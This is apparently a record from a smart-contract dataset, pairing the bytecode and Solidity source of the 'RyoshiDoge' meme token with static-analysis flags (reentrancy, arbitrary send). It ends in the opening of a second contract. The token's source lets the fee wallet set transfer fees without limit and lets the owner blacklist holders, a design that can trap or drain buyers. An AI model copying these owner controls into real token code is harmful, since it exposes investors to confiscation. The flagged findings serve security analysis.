ffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a3610c6a565b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cf5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110726025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d7b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806111076023913960400191505060405180910390fd5b610de7816040518060600160405280602681526020016110e160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7c81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fe990919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610fd6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f9b578082015181840152602081019050610f80565b50505050905090810190601f168015610fc85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611067576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a26469706673582212200b39811c56d032e4c3249e29dd391823072473d13ca3b7fc4cbfeae6ab0c79b464736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 9,453 |
0x65bb9337927aa268c92820ba0043ccc08e516413
|
/**
*Submitted for verification at Etherscan.io on 2022-04-27
*/
// SPDX-License-Identifier: UNLICENSED
/**
Well, we are here to conquer meme today!
Website: http://www.rdogeth.com/
Telegram : https://t.me/RyoDoge
Twitter: https://twitter.com/RyoDogeETH
Medium: https://medium.com/@RDoge
**/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if(a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract RDOGE is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _bots;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e12 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = unicode"RyoshiDoge";
string private constant _symbol = unicode"RDoge";
uint8 private constant _decimals = 9;
uint256 private _taxFee = 1;
uint256 private _teamFee = 6;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen = false;
bool private _noTaxMode = false;
bool private inSwap = false;
uint256 private walletLimitDuration;
struct User {
uint256 buyCD;
bool exists;
}
event MaxBuyAmountUpdated(uint _maxBuyAmount);
event CooldownEnabledUpdated(bool _cooldown);
event FeeMultiplierUpdated(uint _multiplier);
event FeeRateUpdated(uint _rate);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress, address payable marketingWalletAddress) {
_FeeAddress = FeeAddress;
_marketingWalletAddress = marketingWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[marketingWalletAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(from != owner() && to != owner()) {
require(!_bots[from] && !_bots[to]);
if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(tradingOpen, "Trading not yet enabled.");
if (walletLimitDuration > block.timestamp) {
uint walletBalance = balanceOf(address(to));
require(amount.add(walletBalance) <= _tTotal.mul(2).div(100));
}
}
uint256 contractTokenBalance = balanceOf(address(this));
if(!inSwap && from != uniswapV2Pair && tradingOpen) {
if(contractTokenBalance > 0) {
if(contractTokenBalance > balanceOf(uniswapV2Pair).mul(5).div(100)) {
contractTokenBalance = balanceOf(uniswapV2Pair).mul(5).div(100);
}
swapTokensForEth(contractTokenBalance);
}
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to] || _noTaxMode){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
_transferStandard(sender, recipient, amount);
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if(rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
tradingOpen = true;
walletLimitDuration = block.timestamp + (60 minutes);
}
function setMarketingWallet (address payable marketingWalletAddress) external {
require(_msgSender() == _FeeAddress);
_isExcludedFromFee[_marketingWalletAddress] = false;
_marketingWalletAddress = marketingWalletAddress;
_isExcludedFromFee[marketingWalletAddress] = true;
}
function excludeFromFee (address payable ad) external {
require(_msgSender() == _FeeAddress);
_isExcludedFromFee[ad] = true;
}
function includeToFee (address payable ad) external {
require(_msgSender() == _FeeAddress);
_isExcludedFromFee[ad] = false;
}
function setNoTaxMode(bool onoff) external {
require(_msgSender() == _FeeAddress);
_noTaxMode = onoff;
}
function setTeamFee(uint256 team) external {
require(_msgSender() == _FeeAddress);
_teamFee = team;
}
function setTaxFee(uint256 tax) external {
require(_msgSender() == _FeeAddress);
_taxFee = tax;
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
if (bots_[i] != uniswapV2Pair && bots_[i] != address(uniswapV2Router)) {
_bots[bots_[i]] = true;
}
}
}
function delBot(address notbot) public onlyOwner {
_bots[notbot] = false;
}
function isBot(address ad) public view returns (bool) {
return _bots[ad];
}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function thisBalance() public view returns (uint) {
return balanceOf(address(this));
}
function amountInPool() public view returns (uint) {
return balanceOf(uniswapV2Pair);
}
}
|
0x60806040526004361061016a5760003560e01c806370a08231116100d1578063c3c8cd801161008a578063cf0848f711610064578063cf0848f714610447578063db92dbb614610467578063dd62ed3e1461047c578063e6ec64ec146104c257600080fd5b8063c3c8cd80146103fd578063c4081a4c14610412578063c9567bf91461043257600080fd5b806370a0823114610332578063715018a6146103525780638da5cb5b1461036757806395d89b411461038f578063a9059cbb146103bd578063b515566a146103dd57600080fd5b8063313ce56711610123578063313ce567146102685780633bbac57914610284578063437823ec146102bd5780634b740b16146102dd5780635d098b38146102fd5780636fc3eaec1461031d57600080fd5b806306fdde0314610176578063095ea7b3146101bb57806318160ddd146101eb57806323b872dd14610211578063273123b71461023157806327f3a72a1461025357600080fd5b3661017157005b600080fd5b34801561018257600080fd5b5060408051808201909152600a81526952796f736869446f676560b01b60208201525b6040516101b291906119be565b60405180910390f35b3480156101c757600080fd5b506101db6101d6366004611a38565b6104e2565b60405190151581526020016101b2565b3480156101f757600080fd5b50683635c9adc5dea000005b6040519081526020016101b2565b34801561021d57600080fd5b506101db61022c366004611a64565b6104f9565b34801561023d57600080fd5b5061025161024c366004611aa5565b610562565b005b34801561025f57600080fd5b506102036105b6565b34801561027457600080fd5b50604051600981526020016101b2565b34801561029057600080fd5b506101db61029f366004611aa5565b6001600160a01b031660009081526006602052604090205460ff1690565b3480156102c957600080fd5b506102516102d8366004611aa5565b6105c6565b3480156102e957600080fd5b506102516102f8366004611ad0565b61060a565b34801561030957600080fd5b50610251610318366004611aa5565b610648565b34801561032957600080fd5b506102516106b8565b34801561033e57600080fd5b5061020361034d366004611aa5565b6106e5565b34801561035e57600080fd5b50610251610707565b34801561037357600080fd5b506000546040516001600160a01b0390911681526020016101b2565b34801561039b57600080fd5b5060408051808201909152600581526452446f676560d81b60208201526101a5565b3480156103c957600080fd5b506101db6103d8366004611a38565b61077b565b3480156103e957600080fd5b506102516103f8366004611b03565b610788565b34801561040957600080fd5b506102516108a5565b34801561041e57600080fd5b5061025161042d366004611bc8565b6108db565b34801561043e57600080fd5b50610251610900565b34801561045357600080fd5b50610251610462366004611aa5565b610cc5565b34801561047357600080fd5b50610203610d06565b34801561048857600080fd5b50610203610497366004611be1565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156104ce57600080fd5b506102516104dd366004611bc8565b610d1e565b60006104ef338484610d43565b5060015b92915050565b6000610506848484610e67565b610558843361055385604051806060016040528060288152602001611de0602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611240565b610d43565b5060019392505050565b6000546001600160a01b031633146105955760405162461bcd60e51b815260040161058c90611c1a565b60405180910390fd5b6001600160a01b03166000908152600660205260409020805460ff19169055565b60006105c1306106e5565b905090565b600d546001600160a01b0316336001600160a01b0316146105e657600080fd5b6001600160a01b03166000908152600560205260409020805460ff19166001179055565b600d546001600160a01b0316336001600160a01b03161461062a57600080fd5b60108054911515600160a81b0260ff60a81b19909216919091179055565b600d546001600160a01b0316336001600160a01b03161461066857600080fd5b600e80546001600160a01b03908116600090815260056020526040808220805460ff1990811690915584546001600160a01b03191695909316948517909355928352912080549091166001179055565b600d546001600160a01b0316336001600160a01b0316146106d857600080fd5b476106e28161127a565b50565b6001600160a01b0381166000908152600260205260408120546104f3906112ff565b6000546001600160a01b031633146107315760405162461bcd60e51b815260040161058c90611c1a565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006104ef338484610e67565b6000546001600160a01b031633146107b25760405162461bcd60e51b815260040161058c90611c1a565b60005b81518110156108a15760105482516001600160a01b03909116908390839081106107e1576107e1611c4f565b60200260200101516001600160a01b0316141580156108325750600f5482516001600160a01b039091169083908390811061081e5761081e611c4f565b60200260200101516001600160a01b031614155b1561088f5760016006600084848151811061084f5761084f611c4f565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b8061089981611c7b565b9150506107b5565b5050565b600d546001600160a01b0316336001600160a01b0316146108c557600080fd5b60006108d0306106e5565b90506106e281611383565b600d546001600160a01b0316336001600160a01b0316146108fb57600080fd5b600955565b6000546001600160a01b0316331461092a5760405162461bcd60e51b815260040161058c90611c1a565b601054600160a01b900460ff16156109845760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161058c565b600f80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556109c13082683635c9adc5dea00000610d43565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156109fa57600080fd5b505afa158015610a0e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a329190611c96565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610a7a57600080fd5b505afa158015610a8e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ab29190611c96565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b158015610afa57600080fd5b505af1158015610b0e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b329190611c96565b601080546001600160a01b0319166001600160a01b03928316179055600f541663f305d7194730610b62816106e5565b600080610b776000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610bda57600080fd5b505af1158015610bee573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610c139190611cb3565b5050601054600f5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610c6757600080fd5b505af1158015610c7b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c9f9190611ce1565b506010805460ff60a01b1916600160a01b179055610cbf42610e10611cfe565b60115550565b600d546001600160a01b0316336001600160a01b031614610ce557600080fd5b6001600160a01b03166000908152600560205260409020805460ff19169055565b6010546000906105c1906001600160a01b03166106e5565b600d546001600160a01b0316336001600160a01b031614610d3e57600080fd5b600a55565b6001600160a01b038316610da55760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161058c565b6001600160a01b038216610e065760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161058c565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ecb5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161058c565b6001600160a01b038216610f2d5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161058c565b60008111610f8f5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161058c565b6000546001600160a01b03848116911614801590610fbb57506000546001600160a01b03838116911614155b156111cf576001600160a01b03831660009081526006602052604090205460ff1615801561100257506001600160a01b03821660009081526006602052604090205460ff16155b61100b57600080fd5b6010546001600160a01b0384811691161480156110365750600f546001600160a01b03838116911614155b801561105b57506001600160a01b03821660009081526005602052604090205460ff16155b1561110657601054600160a01b900460ff166110b95760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642e0000000000000000604482015260640161058c565b4260115411156111065760006110ce836106e5565b90506110ef60646110e9683635c9adc5dea00000600261150c565b9061158b565b6110f983836115cd565b111561110457600080fd5b505b6000611111306106e5565b601054909150600160b01b900460ff1615801561113c57506010546001600160a01b03858116911614155b80156111515750601054600160a01b900460ff165b156111cd5780156111bb57601054611185906064906110e99060059061117f906001600160a01b03166106e5565b9061150c565b8111156111b2576010546111af906064906110e99060059061117f906001600160a01b03166106e5565b90505b6111bb81611383565b4780156111cb576111cb4761127a565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff168061121157506001600160a01b03831660009081526005602052604090205460ff165b806112255750601054600160a81b900460ff165b1561122e575060005b61123a8484848461162c565b50505050565b600081848411156112645760405162461bcd60e51b815260040161058c91906119be565b5060006112718486611d16565b95945050505050565b600d546001600160a01b03166108fc61129483600261158b565b6040518115909202916000818181858888f193505050501580156112bc573d6000803e3d6000fd5b50600e546001600160a01b03166108fc6112d783600261158b565b6040518115909202916000818181858888f193505050501580156108a1573d6000803e3d6000fd5b60006007548211156113665760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161058c565b600061137061165a565b905061137c838261158b565b9392505050565b6010805460ff60b01b1916600160b01b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106113cb576113cb611c4f565b6001600160a01b03928316602091820292909201810191909152600f54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561141f57600080fd5b505afa158015611433573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114579190611c96565b8160018151811061146a5761146a611c4f565b6001600160a01b039283166020918202929092010152600f546114909130911684610d43565b600f5460405163791ac94760e01b81526001600160a01b039091169063791ac947906114c9908590600090869030904290600401611d2d565b600060405180830381600087803b1580156114e357600080fd5b505af11580156114f7573d6000803e3d6000fd5b50506010805460ff60b01b1916905550505050565b60008261151b575060006104f3565b60006115278385611d9e565b9050826115348583611dbd565b1461137c5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161058c565b600061137c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061167d565b6000806115da8385611cfe565b90508381101561137c5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161058c565b80611639576116396116ab565b6116448484846116d9565b8061123a5761123a600b54600955600c54600a55565b60008060006116676117d0565b9092509050611676828261158b565b9250505090565b6000818361169e5760405162461bcd60e51b815260040161058c91906119be565b5060006112718486611dbd565b6009541580156116bb5750600a54155b156116c257565b60098054600b55600a8054600c5560009182905555565b6000806000806000806116eb87611812565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061171d908761186f565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461174c90866115cd565b6001600160a01b03891660009081526002602052604090205561176e816118b1565b61177884836118fb565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516117bd91815260200190565b60405180910390a3505050505050505050565b6007546000908190683635c9adc5dea000006117ec828261158b565b82101561180957505060075492683635c9adc5dea0000092509050565b90939092509050565b600080600080600080600080600061182f8a600954600a5461191f565b925092509250600061183f61165a565b905060008060006118528e87878761196e565b919e509c509a509598509396509194505050505091939550919395565b600061137c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611240565b60006118bb61165a565b905060006118c9838361150c565b306000908152600260205260409020549091506118e690826115cd565b30600090815260026020526040902055505050565b600754611908908361186f565b60075560085461191890826115cd565b6008555050565b600080808061193360646110e9898961150c565b9050600061194660646110e98a8961150c565b9050600061195e826119588b8661186f565b9061186f565b9992985090965090945050505050565b600080808061197d888661150c565b9050600061198b888761150c565b90506000611999888861150c565b905060006119ab82611958868661186f565b939b939a50919850919650505050505050565b600060208083528351808285015260005b818110156119eb578581018301518582016040015282016119cf565b818111156119fd576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146106e257600080fd5b8035611a3381611a13565b919050565b60008060408385031215611a4b57600080fd5b8235611a5681611a13565b946020939093013593505050565b600080600060608486031215611a7957600080fd5b8335611a8481611a13565b92506020840135611a9481611a13565b929592945050506040919091013590565b600060208284031215611ab757600080fd5b813561137c81611a13565b80151581146106e257600080fd5b600060208284031215611ae257600080fd5b813561137c81611ac2565b634e487b7160e01b600052604160045260246000fd5b60006020808385031215611b1657600080fd5b823567ffffffffffffffff80821115611b2e57600080fd5b818501915085601f830112611b4257600080fd5b813581811115611b5457611b54611aed565b8060051b604051601f19603f83011681018181108582111715611b7957611b79611aed565b604052918252848201925083810185019188831115611b9757600080fd5b938501935b82851015611bbc57611bad85611a28565b84529385019392850192611b9c565b98975050505050505050565b600060208284031215611bda57600080fd5b5035919050565b60008060408385031215611bf457600080fd5b8235611bff81611a13565b91506020830135611c0f81611a13565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611c8f57611c8f611c65565b5060010190565b600060208284031215611ca857600080fd5b815161137c81611a13565b600080600060608486031215611cc857600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611cf357600080fd5b815161137c81611ac2565b60008219821115611d1157611d11611c65565b500190565b600082821015611d2857611d28611c65565b500390565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d7d5784516001600160a01b031683529383019391830191600101611d58565b50506001600160a01b03969096166060850152505050608001529392505050565b6000816000190483118215151615611db857611db8611c65565b500290565b600082611dda57634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220920c27d5b46110e89e10b17eaf4d68ac83d55f541008903cc110a0ced1368dde64736f6c63430008090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 9,454 |
0x3117d298a9feb0e81626b809b840ae376e00f40e
|
pragma solidity ^0.4.23;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function max64(uint64 a, uint64 b) internal pure returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal pure returns (uint64) {
return a < b ? a : b;
